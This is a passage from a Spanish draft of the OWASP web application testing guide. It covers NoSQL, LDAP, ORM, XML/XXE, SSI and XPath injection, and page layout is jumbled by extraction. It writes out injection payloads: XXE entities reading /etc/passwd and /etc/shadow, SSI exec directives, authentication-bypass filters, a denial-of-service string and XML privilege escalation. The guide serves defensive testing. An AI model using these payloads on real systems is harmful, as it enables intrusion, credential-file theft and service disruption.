Esta entrada 0;var date=new Date(); do{curDate = new Date();}while(curDate-date<10000) ingresada dentro de $userInput en el código del ejemplo anterior daría como resultado que se ejecute la siguiente función de JavaScript. Esta cadena de ataque específica causaría que toda la instancia de MongoDB se ejecute usando el CPU al 100% durante diez segundos.
function() { return obj.credits - obj.debits < 0;var date=new Date(); do{curDate = new Date();}while(curDate-date<10000); }
db.myCollection.find( { $where: function() { return obj.credits obj.debits < 0; } } );
Una manera potencial de asignar datos a las variables PHP es via la contaminación de parámetros HTTP (vea: Pruebas de contaminación de parámetros HTTP (OTG-INPVAL-004))
Al crear una variable llamada $where vía contaminación de parámetros, uno podría disparar un error de MongoDB que indica que la consulta ya no es válida. Ejemplo 2 Incluso si utiliza los datos ingresados dentro de las consultas, completamente desinfectados o parametrizados, hay un camino alternativo en el cual uno podría disparar una inyección de NoSQL. Muchos casos de NoSQL tienen sus propios nombres de variable reservadas, independientes del lenguaje de programación de la aplicación.
Cualquier valor de $where distinto de la cadena "$where", debería ser suficiente para demostrar la vulnerabilidad. Un atacante desarrollaría una explotación completa al insertar lo siguiente: "$where: function() {//arbitrary JavaScript here}"
Referencias Por ejemplo, en MongoDB, la sintaxis $where es un operador de consulta reservado. Tiene que ser enviado dentro de la consulta exactamente como se muestra; cualquier alteración causaría un error de base de datos.
Libros Blancos • Bryan Sullivan media.blackhat.com
Sin embargo, como $where también es un nombre válido de variable de PHP, es posible para un atacante insertar un código en la consulta mediante la creación de una variable PHP llamada $where. La documentación de PHP MongoDB explícitamente advierte a los desarrolladores:
from Adobe: “Server-Side JavaScript Injection”:
• Bryan Sullivan from Adobe: “NoS L, But Even Less Security”: blogs.adobe.com • Erlend from erlend.oftedal.no
Bekk
Consulting:
“[Security]
NOS L-injection”:
• Felipe Aragon from Syhunt: “NoS L/SSJS Injection”: syhunt.com Por favor, asegúrese que para cualquier operador especial de consultas (que inicia con $)debe utilizar comillas simples para que PHP no intente reemplazar “$exists” con el valor de la variable $exists.
• MongoDB Documentation: “How does MongoDB address SQL or Query injection?”: docs.mongodb.org • PHP Documentation: “MongoCollection::find”: php.net • “Hacking NodeJS and MongoDB”: blog.websecurify.com • “Attacking NodeJS and MongoDB”: blog.websecurify.com
Aunque una consulta no dependiera de ningún dato ingresado por el usuario, como en el ejemplo siguiente, un atacante podría aprovechar MongoDB sustituyendo al operador con datos maliciosos. Pruebas de inyección LDAP (OTG-INPVAL-006) Resumen
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 204
Guia de pruebas 4.0 "Borrador"
El Protocolo Ligero de Acceso de Directorios (LDAP) se utiliza para almacenar información sobre usuarios, hosts y otros muchos objetos. La inyección LDAP es un ataque de lado del servidor, que podría permitir que información sensible acerca de usuarios y hosts en una estructura LDAP pueda divulgarse, modificarse o insertarse. Esto se hace mediante la manipulación de parámetros de ingreso luego de pasarlos a las funciones de búsqueda interna, agregar y modificar.
Una aplicación web podría utilizar LDAP para permitir a los usuarios autenticarse o buscar información de otros usuarios dentro de una estructura corporativa. El objetivo de los ataques de inyección LDAP es inyectar meta caracteres de filtros de búsqueda LDAP en consultas que serán ejecutadas por la aplicación.
[Rfc2254] define una gramática para construir un filtro de búsqueda en LDAPv3 y extiende [Rfc1960] (LDAPv2).
Un filtro de búsqueda LDAP se construye en notación polaca, también conocida como [notación prefija]. Pueden encontrarse ejemplos más completos sobre cómo construir un filtro de búsqueda en la RFC relacionada. Esto significa una condición de pseudo código en un filtro de búsqueda de esta manera: find(“cn=John & userPassword=mypass”)
Una explotación exitosa de una vulnerabilidad de inyección LDAP podría permitir al evaluador:
• Acceso a contenido no autorizado. será representado cómo:
• Evadir las restricciones de las aplicaciones. • Reunir información no autorizada.
find(“(&(cn=John)(userPassword=mypass))”) • Agregar o modificar objetos dentro de la estructura del árbol LDAP.
Cómo probar Las condiciones booleanas y agregaciones de grupo en un filtro de búsqueda LDAP pueden aplicarse utilizando los siguientes metacaracteres:
Ejemplo 1: Filtros de búsqueda Supongamos que tenemos una aplicación web que utiliza un filtro de búsqueda como el siguiente: searchfilter=”(cn=”+user+”)”
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 205
Guia de pruebas 4.0 "Borrador"
el cual se inicia por una solicitud HTTP como esta:
searchlogin= “(&(uid=”+user+”)(userPassword={MD5}”+base64(pack(“H*”,md5(pass)))+ ”))”;
http://www.example.com/ldapsearch?user=John
Usando los siguientes valores:
Si el valor ‘John’ es reemplazado con un ‘*’, mediante el envío de la solicitud:
user=*)(uid=*))(|(uid=* pass=password
http://www.example.com/ldapsearch?user=*
el filtro de búsqueda resultará en: el filtro se verá así:
searchfilter=”(cn=*)”
que coincide cada objeto con un atributo 'cn' que es igual a cualquier cosa.
searchlogin=”(&(uid=*)(uid=*))(|(uid=*)(userPassword={MD5} X03MO1qnZdYdgyfeuILPmQ==))”;
que es correcta y siempre verdadera. De esta manera, el evaluador obtendrá un estado de conectado igual al del primer usuario en el árbol LDAP.
Si la aplicación es vulnerable a una inyección LDAP, se mostrarán algunos o todos los atributos de los usuarios, dependiendo del flujo de ejecución de la aplicación y los permisos del LDAP del usuario conectado.
Herramientas
Un evaluador podría utilizar un enfoque de prueba y error, introduciendo en el parámetro '(', '|', '&', ' *' y los otros caracteres, con el fin de verificar los errores de la aplicación.
Referencias
• Softerra LDAP Browser: dapadministrator.com
Libros Blancos • Sacha Faust: “LDAP Injection: Are Your Applications Vulnerable?”: networkdls.com
Ejemplo 2: Inicio de sesión
• Bruce Greenblatt: “LDAP Overview”: directory-applications.com
Si una aplicación web utiliza LDAP para comprobar las credenciales de usuario durante el proceso de inicio de sesión y es vulnerable a una inyección LDAP, es posible evitar la comprobación de autenticación mediante la inyección de una consulta LDAP que siempre es verdadera (de una manera similar a la inyección SQL y XPATH).
• IBM paper: “Understanding LDAP”: redbooks.ibm.com • RFC 1960: “A String Representation of LDAP Search Filters”: ietf.org
Pruebas de inyección de ORM (OTG-INPVAL-007) Supongamos que una aplicación web utiliza un filtro para emparejar la combinación LDAP de usuario/contraseña.
Resumen
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 206
Guia de pruebas 4.0 "Borrador"
La inyección de ORM es un ataque de inyección SQL contra un modelo de objetos de acceso de datos generado mediante ORM. Desde el punto de vista del evaluador, este ataque es virtualmente idéntico a un ataque de inyección SQL. Sin embargo, la vulnerabilidad de inyección existe en el código generado por la herramienta ORM.
Pruebas de Caja Gris Si el evaluador tiene acceso al código fuente de una aplicación web, o puede descubrir las vulnerabilidades de una herramienta ORM y prueba aplicaciones que utiliza esta herramienta web, hay una mayor probabilidad de atacar con éxito a la aplicación.
Un ORM es una herramienta de mapeo relacional de objetos. Patrones que se deben buscar dentro del código son:
Se utiliza para acelerar el desarrollo orientado a objetos dentro de la capa de acceso de datos de las aplicaciones de software, incluyendo aplicaciones web.
Los beneficios de utilizar una herramienta ORM incluyen la rápida generación de una capa de objeto para comunicarse con una base de datos relacional, plantillas de código estandarizado para estos objetos y, generalmente, un conjunto de funciones seguras para protegerse contra ataques de inyección SQL. Los objetos ORM generados pueden utilizar SQL o, en algunos casos, una variante de SQL, para realizar las operaciones CRUD (Create, Read, Update, Delete); en español: crear, leer, actualizar, eliminar, en una base de datos. Es posible, sin embargo, para una aplicación web que utiliza objetos generados mediante ORM, ser vulnerable a ataques de inyección SQL si los métodos permiten parámetros de entrada sin desinfectar.
Las herramientas ORM incluyen Hibernate para Java, NHibernate para. .NET, ActiveRecord para Ruby on Rails, EZPDO para PHP y muchos otros. Para obtener una lista razonablemente completa de herramientas ORM, vea http://en.wikipedia.org/wiki/List_of_objectrelational_mapping_software
• Parámetros de ingreso concatenados con cadenas S L. Este código que utiliza ActiveRecord para Ruby on Rails es vulnerable (aunque cualquier ORM puede ser vulnerable)
Orders.find_all "customer_id = 123 y order_date = '#{@params ['order_date']}'"
Simplemente al enviar "' OR 1--" en el formulario donde se puede introducir la fecha de la orden, pueden producirse resultados positivos.
Herramientas • Hibernate http://www.hibernate.org • NHibernate http://nhforge.org/
Cómo probar Pruebas de Caja Negra Las pruebas de Caja Negra que buscan vulnerabilidades de inyección ORM son idénticas a las pruebas de inyección de SQL (véase pruebas de inyección SQL). En la mayoría de los casos, la vulnerabilidad en la capa ORM es el resultado de código personalizado que no valida correctamente los parámetros de ingreso.
Referencias Libros Blancos • References from Testing for SQL Injection son aplicables para inyección de ORM • Wikipedia - ORM http://en.wikipedia.org/wiki/Object-relation al_mapping
La mayoría de herramientas ORM proporcionan funciones seguras para escapar el ingreso del usuario. Sin embargo, si estas funciones no se usan y el programador utiliza funciones personalizadas que aceptan ingresos del usuario, es posible ejecutar un ataque de inyección SQL.
• OWASP Interpreter Injection
Pruebas de inyección de XML (OTG-INPVAL-008) Resumen
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 207
Guia de pruebas 4.0 "Borrador"
La prueba de inyección XML se da cuando un evaluador intenta inyectar un documento XML a la aplicación. Si el analizador XML falla en la validación de datos dentro de su contexto, la prueba dará un resultado positivo.
Cuando un usuario llena un formulario HTML para registrarse, la aplicación recibe los datos del usuario en una petición estándar, que, por simplicidad, se supone será enviada en una petición GET.
Por ejemplo, los siguentes valores: Esta sección describe ejemplos prácticos de inyección XML. En primer lugar, una comunicación de estilo XML se define y se explican los principios de funcionamiento. Luego, el método de descubrimiento por el cual tratamos de insertar metacaracteres XML. Una vez que se logra el primer paso, el evaluador tendrá alguna información sobre la estructura XML, por lo que será posible intentar inyectar datos y etiquetas XML (inyección de etiquetas).
Cómo probar
Username: tony Password: Un6R34kb!e E-mail: s4tan@hell.com
producirán la solicitud:
Supongamos que hay una aplicación web que utiliza una comunicación de estilo XML para llevar a cabo el registro del usuario. Esto se hace creando y añadiendo un nuevo nodo de <user> en un archivo xmlDb.
http://www.example.com/addUser.php?username=tony&password=U n6R34kb!e&email=s4tan@hell.com
Supongamos que el archivo xmlDB es como el siguiente: <?xml version=”1.0” encoding=”ISO-8859-1”?>
<users>
La aplicación, entonces, construye el siguiente nodo:
<user> <user>
<username>tony</username> <username>gandalf</username>
<password>Un6R34kb!e</password>
<password>!c3</password>
<userid>500</userid>
<userid>0</userid> <mail>gandalf@middleearth.com</mail>
<mail>s4tan@hell.com</mail> </user>
</user> <user> que será añadido al xmlDB: <username>Stefan0</username> <password>w1s3c</password> <userid>500</userid> <mail>Stefan0@whysec.hmm</mail> </user>
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 208
Guia de pruebas 4.0 "Borrador"
<?xml version=”1.0” encoding=”ISO-8859-1”?>
A manera de ejemplo, supongamos que existe el siguiente atributo:
<node attrib=’$inputValue’/>
<users> <user>
<username>gandalf</username> <password>!c3</password>
Así, sí:
<userid>0</userid> inputValue = foo’ <mail>gandalf@middleearth.com</mail>
</user> <user> <username>Stefan0</username> <password>w1s3c</password>
se crea una instancia y luego se inserta como el valor de attrib:
<node attrib=’foo’’/>
<userid>500</userid> <mail>Stefan0@whysec.hmm</mail> </user>
Entonces, el documento XML resultante no está redactado correctamente.
<user> <username>tony</username> <password>Un6R34kb!e</password>
• Comilla Doble (Double quote): “ - este carácter tiene el mismo significado que la comilla simple y puede utilizarse si el valor del atributo está encerrado entre comillas dobles.
<userid>500</userid> <node attrib=”$inputValue”/>
Descubrimiento El primer paso para probar una aplicación en busca de una vulnerabilidad de inyección XML consiste en intentar insertar metacaracteres XML.
Así que:
$inputValue = foo”
Los metacaracteres XML son: la sustitución da: • Comilla simple (Single quote): '-cuando no ha sido desinfectado, este carácter podría lanzar una excepción durante el análisis del XML, si el valor inyectado va a ser parte de un valor de atributo en una etiqueta.
<node attrib=”foo””/>
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 209
Guia de pruebas 4.0 "Borrador"
Y el documento XML resultante se invalida. • Paréntesis angular(Angular parentheses): > y < - Aumentando un paréntesis angular abierto o cerrado en el ingreso de datos de un usuario como el siguiente:
Username = foo<
<user> <username>foo<!--</username> <password>Un6R34kb!e</password>
<userid>500</userid> <mail>s4tan@hell.com</mail> </user>
la aplicación construirá un nuevo código:
<user>
que no será una sequencia XML válida.
<username>foo<</username> <password>Un6R34kb!e</password> <userid>500</userid>
• Y (Ampersand): & - El signo ampersand es usado en la sintaxis XML para representar entidades. El formato de una entidad es ‘&symbol;’. Una entidad es asignada con un carácter en el conjunto de caracteres Unicode.
<mail>s4tan@hell.com</mail> </user>
Por ejemplo:
<tagnode>&lt;</tagnode> pero, por la presencia del ‘<’ abierto, el documento XML resultante es inválido.
• Etiqueta de comentario (Comment tag): <!--/--> - Esta secuencia de caracteres se interpreta como el inicio/final de un comentario. Así que al inyectar uno de ellos en el parámetro de nombre de usuario:
Username = foo<!--
Está formado correctamente y es válido y representa al carácter ASCII ‘<’.
Si ‘&’ no está codificado con &amp; se puede usar para probar una inyección XML.
De hecho, si se recibe un dato de ingreso como el siguiente:
La aplicación, entonces, construye el siguiente nodo::
Username = &foo
Un nuevo nodo se creará:
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 210
Guia de pruebas 4.0 "Borrador"
<user>
userName = ]]>
<username>&foo</username> <password>Un6R34kb!e</password>
<userid>500</userid>
esto se convertirá en:
<mail>s4tan@hell.com</mail> <username><![CDATA[]]>]]></username> </user>
pero, de nuevo, el documento no es válido: &foo no se termina con ‘;’ y la entidad &foo; es indefinida.
• Delimitadores de sección CDATA: <![CDATA[ / ]]> - Las secciones CDATA se utilizan para escaparse de bloques de texto que contengan caracteres que, de lo contrario, serían reconocidos como marcas. En otras palabras, los caracteres dentro de una sección CDATA no son analizadas por un evaluador de XML. Por ejemplo, si hay la necesidad de representar la secuencia ‘<foo>’ dentro de un nodo de texto, una sección CDATA puede utilizarse:
El cual no es un fragmento XML válido.
Otra prueba se relaciona con la etiqueta CDATA. Suponga que el documento XML se procesa para generar una página HTML. En este caso, los delimitadores de la sección CDATA pueden simplemente eliminarse, sin inspeccionar su contenido posteriormente. Entonces, es posible inyectar las etiquetas HTML, que se incluirán en la página generada, evitando totalmente las rutinas de desinfección vigentes. Consideremos un ejemplo concreto. Supongamos que tenemos un nodo que contiene un texto que se mostrará al usuario.
<node> <html> <![CDATA[<foo>]]> $HTMLCode </node> </html>
así ‘<foo>’ no será analizado como una marca y será considerado como un carácter de datos.
Si el nodo se construye de la siguiente manera:
Entonces el atacante puede proporcionar el siguiente ingreso:
$HTMLCode = <![CDATA[<]]>script<![CDATA[>]]>alert(‘xss’)<![CDATA[<]]>/scr ipt<![CDATA[>]]>
<username><![CDATA[<$userName]]></username>
y obtener el siguiente nodo:
El evaluador puede intentar inyectar una cadena de cierre CDATA ‘]]>’ para tratar de invalidar el documento XML.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 211
Guia de pruebas 4.0 "Borrador"
<html> <![CDATA[<]]>script<![CDATA[>]]>alert(‘xss’)<![CDATA[<]]>/scr ipt<![CDATA[>]]> </html>
Esta prueba podría bloquear el servidor web (en un sistema UNIX), si el evaluador XML intenta sustituir la entidad con el contenido del archivo/dev/random.
Otras pruebas útiles son las siguientes: <?xml version=”1.0” encoding=”ISO-8859-1”?> <!DOCTYPE foo [
Durante el proceso, la sección de delimitadores CDATA es eliminada generando el siguiente código HTML:
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM “file:///etc/passwd” >]><foo>&xxe;</foo>
<script>alert(‘XSS’)</script>
<?xml version=”1.0” encoding=”ISO-8859-1”?> <!DOCTYPE foo [ El resultado es que la aplicación es vulnerable al XSS. <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM “file:///etc/shadow” >]><foo>&xxe;</foo> Entidad externa: El conjunto de entidades válidas puede ampliarse mediante la creación de nuevas entidades. Si la definición de una entidad es un URI, a la entidad se le llama una entidad externa. A menos que se configure para hacer lo contrario, las entidades externas fuerzan al evaluador XML para que acceda al recurso especificado por el URI, por ejemplo, un archivo en el equipo local o en un sistema remoto. Este comportamiento expone a la aplicación a ataques de XML eXternal Entity (XXE), que puede utilizarse para denegar el servicio del sistema local, obtener acceso no autorizado a los archivos en el equipo local, analizar equipos remotos y denegar el servicio de sistemas remotos.
<?xml version=”1.0” encoding=”ISO-8859-1”?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM “file:///c:/boot.ini” >]><foo>&xxe;</foo>
<?xml version=”1.0” encoding=”ISO-8859-1”?> Para probar las vulnerabilidades XXE, uno puede utilizar el siguiente ingreso:
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<?xml version=”1.0” encoding=”ISO-8859-1”?> <!DOCTYPE foo [ Inyección de etiqueta
<!ELEMENT foo ANY > <!ENTITY xxe >]><foo>&xxe;</foo>
SYSTEM
“file:///dev/random”
Una vez que se logra el primer paso, el evaluador tendrá alguna información sobre la estructura del documento XML. Entonces, es posible intentar inyectar datos XML y etiquetas. Mostraremos un ejemplo de cómo esto puede llevar a un ataque de escalada de privilegios.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 212
Guia de pruebas 4.0 "Borrador"
Vamos a considerar la aplicación anterior. Introducimos los siguientes valores:
Username: tony Password: Un6R34kb!e E-mail: s4tan@hell.com</mail><userid>0</userid><mail>s4tan@hell.com
El archivo XML resultante está bien formado. Además, es probable que, para el usuario tony, el valor asociado con la etiqueta de Identificación del usuario sea la que aparece al final, es decir, 0 (la identificación de administrador). En otras palabras, hemos inyectado al usuario con privilegios administrativos. El único problema es que la etiqueta de identificación del usuario aparece dos veces en el último nodo del usuario. A menudo, los documentos XML están asociados con un esquema o un DTD y serán rechazados si no cumplen con este.
Supongamos que el documento XML se especifica mediante la siguiente DTD:
la aplicación construirá un nuevo nodo y anexo a la base de datos XML.
<!DOCTYPE users [ <!ELEMENT users (user+) >
<?xml version=”1.0” encoding=”ISO-8859-1”?> <!ELEMENT user (username,password,userid,mail+) >
<users> <!ELEMENT username (#PCDATA) > <user> <!ELEMENT password (#PCDATA) > <username>gandalf</username> <!ELEMENT userid (#PCDATA) > <password>!c3</password> <!ELEMENT mail (#PCDATA) >
<userid>0</userid> ]> <mail>gandalf@middleearth.com</mail> </user> <user>
<username>Stefan0</username> <password>w1s3c</password> <userid>500</userid>
Tome en cuenta que el nodo de nombre de usuario se define con la cardinalidad 1. En este caso, el ataque que hemos mostrado antes (y otros ataques simples) no funcionarán si el documento XML se valida contra su DTD antes de que ocurra cualquier procesamiento.
<mail>Stefan0@whysec.hmm</mail> </user> <user> <username>tony</username>
Sin embargo, este problema puede ser resuelto si el evaluador controla el valor de algunos nodos anteriores el nodo ofensivo (el identificador de usuario, en este ejemplo). De hecho, el evaluador puede comentar en dichos nodos, mediante la inyección de una secuencia de inicio y fin de comentario:
<password>Un6R34kb!e</password> <userid>500</userid>
<mail>s4tan@hell.com</mail><userid>0</userid><mail>s
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 213
Guia de pruebas 4.0 "Borrador"
Username: tony Password: Un6R34kb!e</password><!--
Se comentó en el nodo de nombre de usuario original, dejando sólo el que fue inyectado. Ahora, el documento cumple con las reglas de su DTD.
E-mail: --><userid>0</userid><mail>s4tan@hell.com Herramientas • XML Injection Fuzz Strings (from wfuzz tool) https://wfuzz.googlecode.com/svn/trunk/wordlist/Injections/XML.txt En este caso la base de datos XML final es:
<?xml version=”1.0” encoding=”ISO-8859-1”?>
Referencias
<users>
Libros Blancos <user> <username>gandalf</username> <password>!c3</password>
• Alex Stamos: “Attacking Web Services” http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_StamosAttacking_Web_Services.ppt • Gregory Steuck, “XXE (Xml eXternal http://www.securityfocus.com/archive/1/297714
Entity)
-
attack”,
<userid>0</userid> <mail>gandalf@middleearth.com</mail> Pruebas de inyección de SSI (OTG-INPVAL-009) </user> Resumen <user> <username>Stefan0</username> <password>w1s3c</password> <userid>500</userid> <mail>Stefan0@whysec.hmm</mail> </user>
Los servidores web suelen dar a los desarrolladores la posibilidad de añadir pequeñas piezas de código dinámico dentro de páginas HTML estáticas, sin tener que lidiar con todos los derechos de los lenguajes del servidor o del cliente. Esta característica es encarnada cuando el servidor incluye (SSI). En la prueba de inyección SSI, probamos si es posible inyectar en los datos de la aplicación que serán interpretados por mecanismos del SSI. Una explotación exitosa de esta vulnerabilidad permite a un atacante inyectar código en páginas HTML o incluso realizar ejecución remota de códigos.
<user>
<username>tony</username> <password>Un6R34kb!e</password><!-</password> <userid>500</userid>
Server-Side Includes son directivas que el servidor web analiza antes de servir la página al usuario. Representan una alternativa para escribir programas CGI o incrustar código utilizando lenguajes de scripting del lado del servidor, cuando sólo hay que realizar tareas muy simples. Las implementaciones comunes de SSI proporcionan comandos para incluir archivos externos, configurar e imprimir las variables del entorno CGI del servidor web y ejecutar scripts CGI externos o comandos del sistema.
<mail>-><userid>0</userid><mail>s4tan@hell.com</mail> </user>
Poner una directiva SSI en un documento HTML estático es tan fácil como escribir un pedazo de código como el siguiente:
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 214
Guia de pruebas 4.0 "Borrador"
<!--#echo var=”DATE_LOCAL” -->
para imprimir la hora actual,
<!--#include virtual=”/cgi-bin/counter.pl” -->
para incluir el resultado de un script CGI.
vulnerabilidades de inyección SSI son, a menudo, más faciles de explotar, puesto que las directivas SSI son fáciles de entender y, al mismo tiempo, bastante potentes, por ejemplo, se puede obtener el contenido de los archivos y ejecutar comandos del sistema.
Cómo probar Pruebas de Caja Negra La primera cosa que se debe hacer cuando se prueba mediante la técnica de Caja Negra, es encontrar si el servidor web admite realmente directivas SSI. A menudo, la respuesta es sí, ya que el soporte de SSI es bastante común. Para saberlo sólo necesitamos descubrir qué tipo de servidor web se ejecuta en nuestro objetivo, utilizando técnicas de recopilación de información clásica.
<!--#include virtual=”/footer.html” -->
para incluir el contenido de un archivo o lista de archivos en un directorio,
<!--#exec cmd=”ls” -->
para incluir el resultado de un comando del sistema.
Entonces, si el soporte de SSI del servidor web está habilitado, el servidor analizará estas directivas. En la configuración predeterminada, por lo general, la mayoría de servidores web no permiten el uso de la directiva exec para ejecutar comandos del sistema.
Como en toda situación de una mala validación de entrada, los problemas surgen cuando el usuario de una aplicación web puede proporcionar datos que hacen que la aplicación o el servidor web se comporten de manera imprevista. Con respecto a la inyección SSI, el atacante podría aportar datos que, si son ingresados por la aplicación (o tal vez directamente por el servidor) en una página generada dinámicamente, se puede analizar como una o más directivas SSI.
Se trata de una vulnerabilidad muy similar a una vulnerabilidad de inyección clásica de lenguaje para script. Una mitigación es que el servidor web debe configurarse para permitir SSI. Por otro lado, las
Si tenemos éxito o no en el descubrimiento de esta pieza de información, podríamos adivinar si el SSI es compatible solo con mirar el contenido del sitio web de destino. Si contiene archivos .shtml, entonces el SSI es probablemente compatible, ya que esta extensión se utiliza para identificar las páginas que contienen estas directivas. Desafortunadamente, el uso de la extensión shtml no es obligatoria, así que si no se ha encontrado ningún archivo shtml, no significa necesariamente que el objetivo no es propenso a ataques de inyección SSI.
El siguiente paso consiste en determinar si un ataque de inyección SSI es posible y, si es así, cuáles son los puntos de entrada que podemos utilizar para inyectar el código malicioso.
La actividad de prueba necesaria para hacer esto es exactamente la misma que utilizó para probar otras vulnerabilidades de inyección de código. En particular, tenemos que encontrar cada página donde el usuario puede ingresar algún tipo de datos, y comprobar si la aplicación está validando correctamente esos datos enviados. Si la desinfección es insuficiente, tenemos que probar si podemos proporcionar datos que van a mostrarse sin modificarse (por ejemplo, en un mensaje de error o una publicación en un foro). Además de los datos suministrados por el usuario común, los vectores de entrada que deben ser considerados siempre son los contenidos de encabezados de solicitudes y cookies HTTP, ya que pueden ser fácilmente falsificados.
Una vez que tenemos una lista de potenciales puntos de inyección, podemos comprobar si los datos se validan correctamente y luego averiguar dónde se almacenan los datos proporcionados. Tenemos que asegurarnos que podemos inyectar los caracteres utilizados en las directivas SSI:
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 215
Guia de pruebas 4.0 "Borrador"
< ! # = / . “ - > and [a-zA-Z0-9]
Para comprobar si la validación es insuficiente, podemos ingresar, por ejemplo, una cadena como la siguiente en un formulario de entrada:
Si tenemos acceso al código fuente de la aplicación, fácilmente podemos averiguar:
[1] Si se usan directivas SSI, el servidor web va a tener el soporte SSI activo. Hacer una inyección de SSI es, por lo menos, un problema potencial que debe investigarse. [2] Donde se manejan los datos ingresados por el usuario, el contenido de las cookies y los encabezados HTTP. La lista completa de vectores de entrada puede determinarse rápidamente.
<!--#include virtual=”/etc/passwd” -->
Esto es similar a las pruebas de vulnerabilidad XSS utilizando
[3] Cómo se manejan los datos ingresados, qué tipo de filtro se realiza, qué caracteres no permiten pasar la aplicación y cuántos tipos de codificación se consideran.
Al dar estos pasos se trata, más que nada, de utilizar grep para encontrar las palabras clave correctas dentro del código fuente (directivas SSI, variables del entorno CGI, asignación de variables que implican ingreso de datos del usuario, las funciones de filtro y demás).
<script>alert(“XSS”)</script>
Herramientas • Web Proxy Burp Suite: portswigger.net Si la aplicación es vulnerable, la directiva se inyecta y será interpretada por el servidor la próxima vez que se utilice la página, así como el contenido del archivo de contraseñas estándar de Unix.
• Paros: parosproxy.org • OWASP WebScarab • String searcher: grep: gnu.org
La inyección puede realizarse también en los encabezados HTTP, si la aplicación web va a utilizar esos datos para construir una página generada dinámicamente:
Referencias Libros Blancos
GET / HTTP/1.0 Referer: <!--#exec cmd=”/bin/ps ax”--> User-Agent: <!--#include virtual=”/proc/version”-->
• Apache Tutorial: “Introduction to Server Side Includes”: apache.org • Apache: “Module mod_include”: apache.org • Apache: “Security Tips for Server Configuration”: apache.org • Header Based Exploitation: cgisecurity.net • SSI Injection instead jeremiahgrossman.blogspot.com
of
JavaScript
Malware:
• IIS: “Notes on Server-Side Includes (SSI) syntax”: blogs.iis.net Pruebas de Caja Gris Pruebas de inyección de XPath (OTG-INPVAL-010)
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 216
Guia de pruebas 4.0 "Borrador"
Resumen XPath es un lenguaje que ha sido diseñado y desarrollado, sobre todo, para dirigirse a las piezas de un documento XML. En la prueba de inyección XPath, probamos si es posible inyectar la sintaxis de XPath en una solicitud interpretada por la aplicación, permitiendo a un atacante ejecutar consultas XPath controladas por el usuario. Cuando se explota con éxito, esta vulnerabilidad podría permitir a un atacante eludir mecanismos de autenticación o información sin la debida autorización.
<?xml version=”1.0” encoding=”ISO-8859-1”?> <users> <user>
<username>gandalf</username> <password>!c3</password> <account>admin</account>
Las aplicaciones web utilizan constantemente bases de datos para almacenar y acceder a los datos que necesitan para sus operaciones. Históricamente, las bases de datos relacionales han sido, en gran medida, la tecnología más común para el almacenamiento de datos, pero, en los últimos años, hemos sido testigos de una creciente popularidad de las bases de datos que organizan los datos mediante el lenguaje XML.
</user>
<user> <username>Stefan0</username> <password>w1s3c</password> <account>guest</account>
Tal como las bases de datos relacionales se acceden a través del lenguaje SQL, las bases de datos XML utilizan XPath como su lenguaje de consulta estándar.
</user> <user> <username>tony</username>
Ya que, desde un punto de vista conceptual, XPath es muy similar a SQL en sus propósitos y usos, un resultado interesante es que los ataques de inyección XPath siguen la misma lógica que los ataques de inyección SQL. En algunos aspectos, XPath es incluso más poderoso que el SQL estándar, ya que todo su poder está ya presente en sus especificaciones, mientras que un gran número de técnicas que pueden utilizarse en un ataque de inyección SQL depende de las características del dialecto SQL usado por la base de datos de destino.
Esto significa que los ataques de inyección XPath pueden ser mucho más adaptables y ubicuos. Otra de las ventajas de un ataque de inyección XPath es que, a diferencia del SQL, no se aplica ningún ACL ya que nuestra consulta puede acceder a todas las partes del documento XML.
Cómo probar El patrón de ataque XPath fue publicado por primera vez por Amit Klein [1] y es muy similar a la habitual inyección de SQL. Para obtener una primera comprensión del problema, imaginemos una página de inicio de sesión que gestiona la autenticación para una aplicación en la que el usuario debe introducir su nombre de usuario y contraseña.
<password>Un6R34kb!e</password>
Una consulta XPath que devuelve la cuenta cuyo username es "gandalf" y la contraseña es "! c3" sería la siguiente:
string(//user[username/text()=’gandalf’ password/text()=’!c3’]/account/text())
and
Si la aplicación no filtra correctamente los datos introducidos por el usuario, el evaluador será capaz de inyectar código XPath e interferir en el resultado de la consulta. Por ejemplo, el evaluador podría introducir los siguientes valores: Username: ‘ or ‘1’ = ‘1 Password: ‘ or ‘1’ = ‘1
Supongamos que nuestra base de datos está representada por el siguiente archivo XML:
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 217
Guia de pruebas 4.0 "Borrador"
Se ve bastante familiar, ¿no? Utilizando estos parámetros, la consulta se convierte en:
string(//user[username/text()=’’ or ‘1’ = ‘1’ and password/text()=’’ or ‘1’ = ‘1’]/account/text())
Como en un ataque de inyección SQL común, hemos creado una consulta que siempre se evalúa como verdadera, lo que significa que la aplicación autenticará al usuario incluso si no ha proporcionado un nombre de usuario o una contraseña.
La técnica de inyección IMAP/SMTP es más eficaz si el servidor de correo no es directamente accesible desde el Internet. Donde una comunicación completa con el servidor de correo de acceso restringido sea posible, se recomienda realizar pruebas directas.
Una inyección IMAP/SMTP permite acceder a un servidor de correo que, de otra manera, no sería directamente accesible desde Internet. En algunos casos, estos sistemas internos no tienen el mismo nivel de seguridad y rigurosidad en la infraestructura que se aplica a los servidores web de acceso frontal. Por lo tanto, los resultados de los servidores de correo pueden ser más vulnerables a ataques por parte de usuarios finales (vea el esquema presentado a continuación).
Y como en un ataque de inyección SQL comun, con la inyección XPath, el primer paso es insertar una comilla sencilla (') en el campo que vamos a probar, introducir un error de sintaxis en la consulta y así comprobar si la aplicación devuelve un mensaje de error.
